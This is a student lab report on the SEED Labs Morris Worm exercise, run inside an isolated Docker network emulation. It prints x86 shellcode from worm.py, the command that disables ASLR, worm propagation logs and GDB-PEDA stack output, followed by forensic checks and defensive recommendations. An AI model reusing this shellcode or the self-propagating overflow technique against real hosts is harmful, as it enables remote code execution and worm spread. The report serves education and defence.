International Cybersecurity and Digital Forensics Academy

"Preparing Global Cybersecurity Leaders Through Excellence in Hands-On Training"

LAB REPORT

Morris Worm and Buffer Overflow Attack Lab

Student Name:	Fuseini Imoru Kantuogaa
Student ID:	C11/26/DFIT/17291
Course Name:	Case Study 4 — Morris Worm: Controlled Attack Observation and Forensic Reconstruction
Instructor Name:	Mr. Amin Iddrisu
Date of Submission:	20/09/2026
Version:	1.0

2.2 Executive Summary

This lab reconstructed the propagation logic of the 1988 Morris Worm inside a fully isolated, Docker-based network emulation built with the SEED Internet Emulator. The environment ("internet-nano") modeled three autonomous systems, fifteen hosts, three routers, and a route server, each running a deliberately vulnerable stack-based buffer-overflow server. A Python control script (worm.py) was used to scan for live hosts, deliver a hand-crafted shellcode payload through the buffer-overflow vulnerability, and replicate a copy of itself onto each newly compromised host, mirroring the self-propagating behavior of the original worm. Key activities included building and launching the emulated network, disabling ASLR to make exploitation deterministic, crafting the malicious "badfile" payload, executing the worm and observing live propagation across hosts in all three autonomous systems, and performing a GDB/PEDA-assisted stack analysis of the overflow. The exercise confirmed successful, autonomous propagation to every reachable host and reinforced the link between a low-level memory-corruption bug and network-scale compromise.

2.3 Lab Objectives

- Build a realistic, multi-autonomous-system network topology using Docker Compose / the SEED Emulator, so worm propagation can be observed safely in full isolation from any production network.
- Exploit a classic stack-based buffer overflow to deliver and execute a shellcode payload on a remote host, replicating the mechanism used by the original 1988 Morris Worm.
- Implement self-replication: have the compromised host automatically retrieve and re-execute a copy of the worm program so it can continue attacking further hosts.
- Use Linux process, network, and forensic-analysis tools (ps, netstat/ss, stat, md5sum, GDB-PEDA) to verify infection and reconstruct the attack timeline after the fact.

2.4 Tools and Resources Used

- SEED Ubuntu 20.04 VM – the base Linux environment used to build and drive the lab.

- Docker & Docker Compose (SEED Internet Emulator, "internet-nano" topology) – used to build and launch the isolated three-AS / fifteen-host / three-router emulated network.
- Python 3 (worm.py) – the worm control script: scans for live targets, builds the malicious badfile, delivers it over the buffer-overflow vulnerability, and re-sends a copy of itself to each compromised host.
- GDB with the PEDA extension – used to inspect the stack layout, registers, and return address during the overflow.
- netcat (nc) – used to test connectivity to the vulnerable server and to transmit the badfile/worm payload over TCP.
- sysctl – used to disable Address Space Layout Randomization (kernel.randomize_va_space=0) for a deterministic exploit.
- ps, netstat/ss, stat, md5sum, ll – standard Linux utilities used for process, socket, and file-forensic verification.

2.5 Methodology

1. Created a working directory (~/worm) and downloaded the official SEED Labsetup.zip package for the Morris Worm exercise from seedsecuritylabs.org (Figure 1, Figure 2).
2. Extracted the archive, which unpacked the internet-nano network topology (Docker Compose definitions, per-host Dockerfiles) alongside the worm and shellcode source folders (Figure 3).
3. Inspected docker-compose.yml and the individual host Dockerfiles to understand the emulated topology: three autonomous systems (AS151, AS152, AS153), five hosts per AS, one border router per AS, and a shared route server on an internal exchange network (Figure 4, Figure 5).
4. Built the container images (dcbuild) and brought the full emulated network online (dcup), then confirmed all 19 containers — hosts, routers, and the route server — were running with dockps (Figure 6, Figure 7).
5. Reviewed the worm.py source code, which defines the shellcode payload, the createBadfile() routine that embeds the shellcode behind a filler buffer sized to overflow

the vulnerable server's stack, and the getNextTarget()/attack loop that scans for live hosts via ICMP (Figure 8).

6. Disabled ASLR on the VM (sudo sysctl -w kernel.randomize_va_space=0) and confirmed basic TCP reachability to a target host's vulnerable service on port 9090 using netcat (Figure 9).
7. Observed the vulnerable bof server's baseline output on a target host before exploitation, showing the stack frame pointer and buffer address for normal, non-overflowing input (Figure 10).
8. Executed worm.py, which built the badfile payload and began autonomously scanning and attacking live hosts, sending the badfile to port 9090 and, once the shellcode executed, sending a copy of worm.py itself to port 9999 so the newly infected host would continue the propagation (Figure 11).
9. Monitored the live attack log, which printed each target IP address, confirmed liveness, and reported the badfile being sent propagation crossed all three autonomous systems within the emulated network (Figure 12).
10. Confirmed successful shellcode execution on multiple infected hosts across AS151, AS152, and AS153 by the "(^_^) Shellcode is running (^_^)" marker printed by each compromised process (Figure 13).
11. Verified, from inside an infected container, that the vulnerable server process was listening on TCP port 9090 as expected (Figure 14).
12. Used GDB with the PEDA extension to attach to the vulnerable stack_victim binary, single-step through the overflow, and inspect the corrupted stack and return-address chain at the point of the crash (Figure 15).
13. Used docker exec together with ps aux to confirm that python3 worm.py was running as an active process inside an infected container, alongside the visualization ping process the worm spawns on arrival (Figure 16).
14. Performed post-exploitation forensic checks: netstat/ss to enumerate listening ports on the host and inside containers, and stat/md5sum on worm.py and badfile to record file size,

permissions, MAC timestamps, and cryptographic hashes as evidence (Figure 17, Figure 18).

2.6 Screenshots and Evidence

```
[09/18/26]seed@VM:~$ mkdir worm
[09/18/26]seed@VM:~$ cd worm
[09/18/26]seed@VM:~/worm$
```

Figure 1: Initial working directory setup (mkdir worm; cd worm).

```
[09/18/26]seed@VM:~/worm$ wget https://seedsecuritylabs.org/Labs_20.04/Files/Morris_Worm/Labsetup.zip --no-check-certificat
--2026-09-18 12:27:24--  https://seedsecuritylabs.org/Labs_20.04/Files/Morris_Worm/Labsetup.zip
Resolving seedsecuritylabs.org (seedsecuritylabs.org)... 185.199.109.153, 185.199.108.153, 185.199.111.153, ...
Connecting to seedsecuritylabs.org (seedsecuritylabs.org)|185.199.109.153|:443... connected.
WARNING: cannot verify seedsecuritylabs.org's certificate, issued by 'CN=YR1,O=Let's Encrypt,C=US':
  Unable to locally verify the issuer's authority.
HTTP request sent, awaiting response... 200 OK
Length: 2029834 (1.9M) [application/x-zip-compressed]
Saving to: 'Labsetup.zip'

Labsetup.zip                        100%[=================================================================>]   1.94M  2.18MB

2026-09-18 12:27:26 (2.18 MB/s) - 'Labsetup.zip' saved [2029834/2029834]
```

Figure 2: Downloading the official SEED Morris Worm Labsetup.zip package.

```
[09/18/26]seed@VM:~/worm$ unzip Labsetup.zip
Archive:  Labsetup.zip
   creating: Labsetup/
   creating: Labsetup/internet-mini/
   creating: Labsetup/internet-mini/hnode_150_host_19/
  inflating: Labsetup/internet-mini/hnode_150_host_19/d3d51fdf7f4bad30dc5db560a01ce629
  inflating: Labsetup/internet-mini/hnode_150_host_19/Dockerfile
  inflating: Labsetup/internet-mini/hnode_150_host_19/e01e36443f9f72c6204189260d0bd276
  inflating: Labsetup/internet-mini/hnode_150_host_19/082b96ec819c95ae773daebde675ef80
  inflating: Labsetup/internet-mini/hnode_150_host_19/d18858afc6bb66ec3a19d872077acfd2
  inflating: Labsetup/internet-mini/hnode_150_host_19/17ac2d812a99a91e7f747e1defb72a29
   creating: Labsetup/internet-mini/hnode_160_host_5/
  inflating: Labsetup/internet-mini/hnode_160_host_5/d3d51fdf7f4bad30dc5db560a01ce629
  inflating: Labsetup/internet-mini/hnode_160_host_5/Dockerfile
  inflating: Labsetup/internet-mini/hnode_160_host_5/e01e36443f9f72c6204189260d0bd276
  inflating: Labsetup/internet-mini/hnode_160_host_5/082b96ec819c95ae773daebde675ef80
  inflating: Labsetup/internet-mini/hnode_160_host_5/d18858afc6bb66ec3a19d872077acfd2
  inflating: Labsetup/internet-mini/hnode_160_host_5/17ac2d812a99a91e7f747e1defb72a29
   creating: Labsetup/internet-mini/hnode_152_host_11/
  inflating: Labsetup/internet-mini/hnode_152_host_11/d3d51fdf7f4bad30dc5db560a01ce629
  inflating: Labsetup/internet-mini/hnode_152_host_11/Dockerfile
  inflating: Labsetup/internet-mini/hnode_152_host_11/e01e36443f9f72c6204189260d0bd276
  inflating: Labsetup/internet-mini/hnode_152_host_11/082b96ec819c95ae773daebde675ef80
  inflating: Labsetup/internet-mini/hnode_152_host_11/d18858afc6bb66ec3a19d872077acfd2
  inflating: Labsetup/internet-mini/hnode_152_host_11/17ac2d812a99a91e7f747e1defb72a29
   creating: Labsetup/internet-mini/hnode_164_host_6/
  inflating: Labsetup/internet-mini/hnode_164_host_6/d3d51fdf7f4bad30dc5db560a01ce629
  inflating: Labsetup/internet-mini/hnode_164_host_6/Dockerfile
```

Figure 3: Extracting Labsetup.zip, unpacking the internet-nano network topology.

```
        org.seedsecuritylabs.seedemu.meta.net.0.name: "net0"
        org.seedsecuritylabs.seedemu.meta.net.0.address: "10.151.0.73/24"

  hnode_151_host_3:
      build: ./hnode_151_host_3
      container_name: as151h-host_3-10.151.0.74
      depends_on:
          - ee6b6326cce7e5be4913cbfc86f3c820
      cap_add:
          - ALL
      sysctls:
          - net.ipv4.ip_forward=1
          - net.ipv4.conf.default.rp_filter=0
          - net.ipv4.conf.all.rp_filter=0
      privileged: true
      networks:
          net_151_net0:
              ipv4_address: 10.151.0.74


      labels:
          org.seedsecuritylabs.seedemu.meta.asn: "151"
          org.seedsecuritylabs.seedemu.meta.nodename: "host_3"
          org.seedsecuritylabs.seedemu.meta.role: "Host"
          org.seedsecuritylabs.seedemu.meta.net.0.name: "net0"
          org.seedsecuritylabs.seedemu.meta.net.0.address: "10.151.0.74/24"

  hnode_151_host_4:
      build: ./hnode_151_host_4
      container_name: as151h-host_4-10.151.0.75
      depends_on:
          - ee6b6326cce7e5be4913cbfc86f3c820
```

Figure 4: docker-compose.yml excerpt defining hnode_151_host_3/4 with their AS151 network assignment and metadata labels.

```
[09/18/26]seed@VM:~/.../internet-nano$ cat hnode_151_host_0/Dockerfile
FROM ee6b6326cce7e5be4913cbfc86f3c820
ARG DEBIAN_FRONTEND=noninteractive
COPY 082b96ec819c95ae773daebde675ef80 /start.sh
COPY d18858afc6bb66ec3a19d872077acfd2 /seedemu_sniffer
COPY 17ac2d812a99a91e7f747e1defb72a29 /seedemu_worker
RUN chmod +x /start.sh
RUN chmod +x /seedemu_sniffer
RUN chmod +x /seedemu_worker
COPY e01e36443f9f72c6204189260d0bd276 /ifinfo.txt
COPY d3d51fdf7f4bad30dc5db560a01ce629 /interface_setup
CMD ["/start.sh"]

[09/18/26]seed@VM:~/.../internet-nano$
```

Figure 5: Per-host Dockerfile (hnode_151_host_0) showing the sniffer/worker/start-up scripts copied into each emulated host image.

```
[09/18/26]seed@VM:~/.../internet-nano$ cat morris-worm-base/Dockerfile
FROM handsonsecurity/seedemu-multiarch-base:buildx-latest
ARG DEBIAN_FRONTEND=noninteractive

RUN apt-get update  \
    && apt-get install -y --no-install-recommends python3.8-distutils

COPY server /bof/server
COPY stack  /bof/stack
RUN chmod +x /bof/server
RUN chmod +x /bof/stack
[09/18/26]seed@VM:~/.../internet-nano$ dcbuild
seedemu-internet-client uses an image, skipping
Building morris-worm-base
Step 1/7 : FROM handsonsecurity/seedemu-multiarch-base:buildx-latest
buildx-latest: Pulling from handsonsecurity/seedemu-multiarch-base
96d54c3075c9: Pull complete
b71b0f5178df: Pull complete
d61d24945bdd: Pull complete
19b77ae2a0e3: Pull complete
Digest: sha256:9d65ed5afa7ba3e29607e517a217564958ec4765c9ec813b63d092c1b2bad0fc
Status: Downloaded newer image for handsonsecurity/seedemu-multiarch-base:buildx-latest
 ---> 170a7a0b8e75
Step 2/7 : ARG DEBIAN_FRONTEND=noninteractive
 ---> Running in 16ede9e6cdae
Removing intermediate container 16ede9e6cdae
 ---> 860b11117c8c
Step 3/7 : RUN apt-get update      && apt-get install -y --no-install-recommends python3.8-distutils
 ---> Running in e77c93511fcb
Hit:1 http://archive.ubuntu.com/ubuntu focal InRelease
Get:2 http://security.ubuntu.com/ubuntu focal-security InRelease [128 kB]
Get:3 http://archive.ubuntu.com/ubuntu focal-updates InRelease [128 kB]
Get:4 http://archive.ubuntu.com/ubuntu focal-backports InRelease [128 kB]
```

Figure 6: morris-worm-base Dockerfile and dcbuild output, building the vulnerable bof server/stack image used by every host.

```
[09/18/26]seed@VM:~/.../internet-nano$ dcup
Creating network "internet-nano_default" with the default driver
Creating network "internet-nano_net_151_net0" with the default driver
Creating network "internet-nano_net_ix_ix100" with the default driver
Creating network "internet-nano_net_152_net0" with the default driver
Creating network "internet-nano_net_153_net0" with the default driver
Pulling seedemu-internet-client (handsonsecurity/seedemu-multiarch-map:buildx-latest)...
buildx-latest: Pulling from handsonsecurity/seedemu-multiarch-map
2ff1d7c41c74: Pull complete
b253aeafeaa7: Pull complete
3d2201bd995c: Pull complete
1de76e268b10: Pull complete
d9a8df589451: Pull complete
6f51ee005dea: Pull complete
5f32ed3c3f27: Pull complete
0c8cc2f24a4d: Pull complete
0d27a8e86132: Pull complete
5406064cbe7d: Pull complete
d8ffb2d88b17: Pull complete
aec94810bd8d: Pull complete
4f4fb700ef54: Pull complete
3ce02d1d838e: Pull complete
dba2f72589f0: Pull complete
40dbfc2b8491: Pull complete
adcd39ce97d6: Pull complete
bd92586207b4: Pull complete
c49825cc75de: Pull complete
Digest: sha256:7504e96ab582a7b3aa80598860b545b6cd6647ab5c74a1c9847817900a946520
Status: Downloaded newer image for handsonsecurity/seedemu-multiarch-map:buildx-latest
Creating internet-nano_39e016aa9e819f203ebc1809245a5818_1 ... done
Creating seedemu_internet_map                             ... done
Creating internet-nano_morris-worm-base_1                 ... done
Creating internet-nano_ee6b6326cce7e5be4913cbfc86f3c820_1 ... done
```

Figure 7: dcup bringing the full internet-nano Docker network online (creating all per-AS and exchange networks).

```
[09/18/26]seed@VM:~/.../internet-nano$ dockps
f47dffed056c  as151h-host_0-10.151.0.71
8d5073200901  as151h-host_3-10.151.0.74
41afa1c5d96c  as153h-host_3-10.153.0.74
aea01314c8b3  as152h-host_2-10.152.0.73
0964d42f816f  as153h-host_4-10.153.0.75
64009691f2ce  as151h-host_1-10.151.0.72
5d867e3ae22f  as151h-host_2-10.151.0.73
fa1c9071ad55  as152h-host_0-10.152.0.71
52e940fb061c  as152h-host_4-10.152.0.75
1cef203e9a9e  as152h-host_3-10.152.0.74
4896bf8121b6  as152h-host_1-10.152.0.72
ef6acd6b64c2  as153h-host_2-10.153.0.73
e69d640d47d9  as153h-host_1-10.153.0.72
9f8179c45ee3  as151h-host_4-10.151.0.75
6afcb3d28cbb  as153h-host_0-10.153.0.71
a4d3a5eaf58d  as153r-router0-10.153.0.254
c2ed30d4928a  as151r-router0-10.151.0.254
c3eb0cf9061d  as100rs-ix100-10.100.0.100
ecf533abab2a  as152r-router0-10.152.0.254
6ea3d616cda2  seedemu_internet_map
[09/18/26]seed@VM:~/.../internet-nano$
```

Figure 8: dockps confirming all 19 containers — 15 hosts, 3 routers, and the route server — are running across AS151/152/153.

```
[09/18/26]seed@VM:~/.../worm$ cat worm.py
#!/bin/env python3
import sys
import os
import time
import subprocess
from random import randint

# You can use this shellcode to run any command you want
shellcode= (
   "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88"
   "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d"
   "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf"
   "\xff\xff\xff"
   "AAAABBBBCCCCDDDD"
   "/bin/bash*"
   "-c*"
   # You can put your commands in the following three lines.
   # Separating the commands using semicolons.
   # Make sure you don't change the length of each line.
   # The * in the 3rd line will be replaced by a binary zero.
   " echo '(^_^) Shellcode is running (^_^)';                  "
   "                                                           "
   "                                                          *"
   "12345678901234567890123456789012345678901234567890123456789012345678901234567890"
   # The last line (above) serves as a ruler, it is not used
).encode('latin-1')
```

Figure 9: worm.py source: the embedded shellcode and createBadfile()/getNextTarget() logic used to build and deliver the payload.

```
[09/18/26]seed@VM:~/.../worm$ gedit worm.py
[09/18/26]seed@VM:~/.../worm$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/18/26]seed@VM:~/.../worm$ echo hello | nc -w2 10.151.0.71 9090
[09/18/26]seed@VM:~/.../worm$ echo hello | nc -w2 10.151.0.71 9090
[09/18/26]seed@VM:~/.../worm$
```

Figure 10: Disabling ASLR (kernel.randomize_va_space=0) and testing TCP connectivity to a target host's vulnerable service on port 9090.

```
*** 10.153.0.73 is alive, launch the attack
**********
>>>>> Attacking 10.153.0.73 <<<<<
**********
Sent bad file to 10.153.0.73
*** 10.153.0.71 is alive, launch the attack
**********
>>>>> Attacking 10.153.0.71 <<<<<
**********
Sent bad file to 10.153.0.71
*** 10.153.0.73 is alive, launch the attack
**********
>>>>> Attacking 10.153.0.73 <<<<<
**********
Sent bad file to 10.153.0.73
*** 10.152.0.72 is alive, launch the attack
**********
>>>>> Attacking 10.152.0.72 <<<<<
**********
Sent bad file to 10.152.0.72
*** 10.151.0.71 is alive, launch the attack
**********
>>>>> Attacking 10.151.0.71 <<<<<
**********
Sent bad file to 10.151.0.71
*** 10.153.0.72 is alive, launch the attack
**********
>>>>> Attacking 10.153.0.72 <<<<<
**********
Sent bad file to 10.153.0.72
```

Figure 11: Live worm attack log: scanning for live hosts and delivering the badfile payload across AS151, AS152, and AS153.

```
as152h-host_1-10.152.0.72          | Starting stack
as152h-host_1-10.152.0.72          | (^_^) Shellcode is running (^_^)
as153h-host_1-10.153.0.72          | Starting stack
as153h-host_1-10.153.0.72          | (^_^) Shellcode is running (^_^)
as151h-host_3-10.151.0.74          | Starting stack
as151h-host_3-10.151.0.74          | (^_^) Shellcode is running (^_^)
as153h-host_2-10.153.0.73          | Starting stack
as153h-host_2-10.153.0.73          | (^_^) Shellcode is running (^_^)
as153h-host_0-10.153.0.71          | Starting stack
as153h-host_0-10.153.0.71          | (^_^) Shellcode is running (^_^)
as153h-host_2-10.153.0.73          | Starting stack
as153h-host_2-10.153.0.73          | (^_^) Shellcode is running (^_^)
as152h-host_1-10.152.0.72          | Starting stack
as152h-host_1-10.152.0.72          | (^_^) Shellcode is running (^_^)
as151h-host_0-10.151.0.71          | Starting stack
as151h-host_0-10.151.0.71          | (^_^) Shellcode is running (^_^)
as153h-host_1-10.153.0.72          | Starting stack
as153h-host_1-10.153.0.72          | (^_^) Shellcode is running (^_^)
as153h-host_4-10.153.0.75          | Starting stack
as153h-host_4-10.153.0.75          | (^_^) Shellcode is running (^_^)
```

Figure 12: Confirmed shellcode execution ("Shellcode is running") on multiple infected hosts across all three autonomous systems.

```
root@64009691f2ce:/# ss -tulpn
Netid      State       Recv-Q      Send-Q           Local Address:Port           Peer Address:Port     Process
udp        UNCONN      0           0                   127.0.0.11:44604             0.0.0.0:*
tcp        LISTEN      0           3                      0.0.0.0:9090              0.0.0.0:*         users:(("server",pid=59,fd=3))
tcp        LISTEN      0           4096                127.0.0.11:35619             0.0.0.0:*
root@64009691f2ce:/# ls
bin  boot  etc   ifinfo.txt       lib    lib64   media  opt   root  sbin            seedemu_worker  start.sh  tmp  var
bof  dev   home  interface_setup  lib32  libx32  mnt    proc  run   seedemu_sniffer  srv             sys       usr
```

Figure 13: Socket check inside an infected container confirming the vulnerable server process listening on TCP port 9090.

```
[-------------------------------------code-------------------------------------]
   0xf7ffdb43 <__kernel_vsyscall+3>:    mov    ebp,esp
   0xf7ffdb45 <__kernel_vsyscall+5>:    sysenter
   0xf7ffdb47 <__kernel_vsyscall+7>:    int    0x80
=> 0xf7ffdb49 <__kernel_vsyscall+9>:    pop    ebp
   0xf7ffdb4a <__kernel_vsyscall+10>:   pop    edx
   0xf7ffdb4b <__kernel_vsyscall+11>:   pop    ecx
   0xf7ffdb4c <__kernel_vsyscall+12>:   ret
   0xf7ffdb4d:  nop
[------------------------------------stack-------------------------------------]
0000| 0xffffce50 --> 0xffffcee8 --> 0xffffcf94 --> 0x32 ('2')
0004| 0xffffce54 --> 0x400
0008| 0xffffce58 --> 0x80e8330 ("AAAAA\n")
0012| 0xffffce5c --> 0x807646b (<read+43>:      mov    ebx,eax)
0016| 0xffffce60 --> 0x0
0020| 0xffffce64 --> 0x0
0024| 0xffffce68 --> 0x0
0028| 0xffffce6c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGINT
0xf7ffdb49 in __kernel_vsyscall ()
gdb-peda$ p &buffer
No symbol table is loaded.  Use the "file" command.
gdb-peda$ kill
[Inferior 1 (process 16931) killed]
gdb-peda$ run
Starting program: /home/seed/worm/Labsetup/worm/stack_victim
AAAA
AAAA
```

Figure 14: GDB-PEDA stack analysis of the buffer-overflow victim, showing the corrupted stack contents and return-address chain.

```
[09/20/26]seed@VM:~/.../worm$ docker exec 41afa1c5d96c ls -lh /bof/worm.py
-rwxrwxr-x 1 1000 1000 3.2K Sep 20 10:28 /bof/worm.py
[09/20/26]seed@VM:~/.../worm$ docker exec 41afa1c5d96c sh -c 'cd /bof && python3 worm.py >/tmp/worm_demo.log 2>&1 &'
[09/20/26]seed@VM:~/.../worm$ docker exec 41afa1c5d96c ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1   3976  2892 ?        Ss   10:05   0:00 /bin/bash /start.sh
root          56  0.0  0.0   3976  1700 ?        S    10:05   0:00 /bin/bash /start.sh
root          57  0.0  0.0   2544   576 ?        S    10:05   0:00 tail -f /dev/null
root          59  0.0  0.0   2488   572 ?        S    10:05   0:00 ./server
root         169  0.1  0.4  13156  9704 ?        S    10:29   0:00 python3 worm.py
root         170  0.0  0.0   2608   592 ?        S    10:29   0:00 /bin/sh -c ping -q -i2 1.2.3.4
root         171  0.0  0.0   4352   920 ?        S    10:29   0:00 ping -q -i2 1.2.3.4
root         172  0.0  0.1   5892  2876 ?        Rs   10:29   0:00 ps aux
[09/20/26]seed@VM:~/.../worm$ docker exec 41afa1c5d96c ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1   3976  2892 ?        Ss   10:05   0:00 /bin/bash /start.sh
root          56  0.0  0.0   3976  1700 ?        S    10:05   0:00 /bin/bash /start.sh
root          57  0.0  0.0   2544   576 ?        S    10:05   0:00 tail -f /dev/null
root          59  0.0  0.0   2488   572 ?        S    10:05   0:00 ./server
root         169  0.0  0.4  13156  9704 ?        S    10:29   0:00 python3 worm.py
root         170  0.0  0.0   2608   592 ?        S    10:29   0:00 /bin/sh -c ping -q -i2 1.2.3.4
root         171  0.0  0.0   4352   920 ?        S    10:29   0:00 ping -q -i2 1.2.3.4
root         177  0.0  0.1   5892  2876 ?        Rs   10:30   0:00 ps aux
[09/20/26]seed@VM:~/.../worm$
```

Figure 15: Process listing (ps aux) inside an infected container confirming python3 worm.py running alongside its ping visualization process.

```
[09/20/26]seed@VM:~/.../worm$ netstat -tulpn | grep LISTEN
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:37097         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::8080                 :::*                    LISTEN      -
tcp6       0      0 :::21                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 ::1:631                 :::*                    LISTEN      -
[09/20/26]seed@VM:~/.../worm$ sudo -i
root@VM:~# ls
root@VM:~# netstat -tulpn | grep LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      425/systemd-resolve
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      662/sshd: /usr/sbin
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      30066/cupsd
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      691/inetd
tcp        0      0 127.0.0.1:37097         0.0.0.0:*               LISTEN      640/containerd
tcp6       0      0 :::8080                 :::*                    LISTEN      9885/docker-proxy
tcp6       0      0 :::21                   :::*                    LISTEN      641/vsftpd
tcp6       0      0 :::22                   :::*                    LISTEN      662/sshd: /usr/sbin
tcp6       0      0 ::1:631                 :::*                    LISTEN      30066/cupsd
```

Figure 16: netstat -tulpn enumeration of listening services on the host, used for post-attack network forensics.

```
[09/20/26]seed@VM:~/.../worm$ pwd
/home/seed/worm/Labsetup/worm
[09/20/26]seed@VM:~/.../worm$ ll
total 760
-rw-rw-r-- 1 seed seed    500 Sep 20 05:55 badfile
-rw-rw-r-- 1 seed seed      1 Sep 18 23:04 peda-session-server_victim.txt
-rw-rw-r-- 1 seed seed     11 Sep 18 23:59 peda-session-stack_victim.txt
drwxrwxr-x 2 seed seed   4096 Sep 20 05:47 __pycache__
-rwxrwxr-x 1 seed seed  17768 Nov 26  2023 server_victim
-rwxrwxr-x 1 seed seed 709188 Nov 26  2023 stack_victim
-rwxrwxr-x 1 seed seed   3223 Sep 20 06:28 worm_process_demo.py
-rwxrwxr-x 1 seed seed   4124 Sep 20 05:53 worm.py
-rwxrwxr-x 1 seed seed   4198 Sep 20 05:53 worm.py.before_exact_shellcode
-rwxrwxr-x 1 seed seed   3804 Sep 20 05:44 worm.py.before_morris_shellcode
-rwxrwxr-x 1 seed seed   3958 Sep 19 00:18 worm.py.save
[09/20/26]seed@VM:~/.../worm$ md5sum badfile
f143299784d6d33304b9bf41d604163b  badfile
[09/20/26]seed@VM:~/.../worm$ md5sum worm.py
860583496b982c1ae7f0d7f13cba2182  worm.py
[09/20/26]seed@VM:~/.../worm$ date
Sun 20 Sep 2026 06:49:38 AM EDT
```

Figure 17: Directory listing and md5sum hashes recorded for worm.py and badfile as forensic evidence.

```
[09/20/26]seed@VM:~/.../worm$ stat worm.py
  File: worm.py
  Size: 4124            Blocks: 16         IO Block: 4096   regular file
Device: 805h/2053d      Inode: 1573766     Links: 1
Access: (0775/-rwxrwxr-x)  Uid: ( 1000/    seed)   Gid: ( 1000/    seed)
Access: 2026-09-20 05:53:21.970535617 -0400
Modify: 2026-09-20 05:53:16.622535409 -0400
Change: 2026-09-20 05:53:16.622535409 -0400
 Birth: -
[09/20/26]seed@VM:~/.../worm$ stat badfile
  File: badfile
  Size: 500             Blocks: 8          IO Block: 4096   regular file
Device: 805h/2053d      Inode: 1573768     Links: 1
Access: (0664/-rw-rw-r--)  Uid: ( 1000/    seed)   Gid: ( 1000/    seed)
Access: 2026-09-20 06:56:21.143553838 -0400
Modify: 2026-09-20 06:56:19.095553758 -0400
Change: 2026-09-20 06:56:19.095553758 -0400
 Birth: -
[09/20/26]seed@VM:~/.../worm$
```

Figure 18: stat output for worm.py and badfile, recording exact size, permissions, and MAC (access/modify/change) timestamps.

2.7 Analysis and Findings

The attack log in Figure 11 shows the worm autonomously discovering and attacking hosts on all three emulated autonomous systems 10.151.0.0/24, 10.152.0.0/24, and 10.153.0.0/24 confirming that the emulated routers correctly forwarded ICMP liveness probes and TCP traffic between AS boundaries, and that the worm's target-selection logic (getNextTarget()) was not confined to the local subnet.

The GDB-PEDA session in Figure 15 shows the vulnerable stack_victim program crashing with a corrupted stack after receiving an oversized buffer, with the saved frame pointer and return address overwritten by attacker-controlled bytes. This confirms the vulnerability is a classic stack-based buffer overflow: the server copies attacker input into a fixed-size buffer without a bounds check, allowing the return address to be redirected into the injected shellcode.

Disabling ASLR (Figure 10) was necessary because the exploit uses a hard-coded return address; with ASLR enabled, the stack base address would change on every execution and the overflow would reliably crash the process instead of hijacking control flow.

The "(^_^) Shellcode is running (^_^)" markers observed on multiple hosts across AS151, AS152, and AS153 (Figure 13) demonstrate successful arbitrary code execution, and the process listing in Figure 16 shows the worm going one step further than the shellcode alone: it re-executes as a full python3 worm.py process on the newly infected host, giving it the same scanning and attack capability as the original the defining self-replicating property of a worm rather than a single-shot exploit.

Forensic verification (Figures 17–18) shows worm.py and badfile with distinct MD5 hashes, sizes, and modification timestamps consistent with the timeline of the attack, illustrating how file-integrity and timestamp analysis can be used after the fact to reconstruct when a payload was written to a compromised host.

2.8 Challenges and Solutions

Exploiting the buffer overflow reliably required disabling ASLR system-wide; with address randomization active the hard-coded return address in the shellcode payload no longer pointed at valid code, causing the target process to crash instead of executing the payload. This was resolved by running sudo sysctl -w kernel.randomize_va_space=0 before launching the worm.

Because the emulated network spans three separate autonomous systems connected through border routers and a route server, initial connectivity to hosts outside the local AS was not guaranteed by default. Confirming basic reachability to the vulnerable server on port 9090 with a manual netcat test (Figure 10) before running the full worm script helped isolate network-configuration issues from payload issues.

With 19 containers running simultaneously, correlating a given piece of evidence (a log line, a process, a file) back to the specific host it came from required consistently using dockps and docker exec <container> with explicit container IDs/names rather than relying on the host VM's own process table.

2.9 Conclusion

This lab reinforced, in a fully controlled and isolated setting, how a single unchecked buffer in a network-facing service can be escalated from a local memory-corruption bug into network-wide,

self-propagating compromise. Building the emulated multi-AS topology first made the worm's scanning and propagation behavior visible at a network level, while the GDB-PEDA stack analysis made the underlying memory-safety failure visible at the instruction level. Combining offensive execution with subsequent forensic verification (process, socket, and file-hash analysis) also demonstrated how the same class of evidence used to confirm an exploit worked can later be used by a defender or investigator to reconstruct what happened on a compromised host.

2.10 Recommendations

- Enable ASLR, non-executable stack protections (NX), and stack canaries in production systems; this lab's exploit only worked reliably once ASLR was deliberately disabled, underscoring how effective these mitigations are against classic stack-smashing attacks.
- Replace unbounded input-copy functions with bounds-checked equivalents and enforce compiler-level protections (e.g. -fstack-protector, FORTIFY_SOURCE) during development to prevent this vulnerability class at the source.
- Deploy network segmentation and egress filtering between autonomous systems / subnets so that a single compromised host cannot freely scan and attack hosts in unrelated network segments, limiting worm-style lateral propagation.
- Maintain baseline file-integrity hashes and timestamps for critical binaries so that unexpected files (such as a dropped worm.py or badfile) can be detected quickly through routine hash comparison.

2.11 References

SEED Labs. (n.d.). Internet Worm: Attack Lab. SEED Security Labs, Syracuse University. Retrieved from https://seedsecuritylabs.org/

SEED Labs. (n.d.). SEED Internet Emulator documentation. Retrieved from https://seedsecuritylabs.org/

The GDB-PEDA Project. Python Exploit Development Assistance for GDB. Retrieved from the PEDA GitHub repository.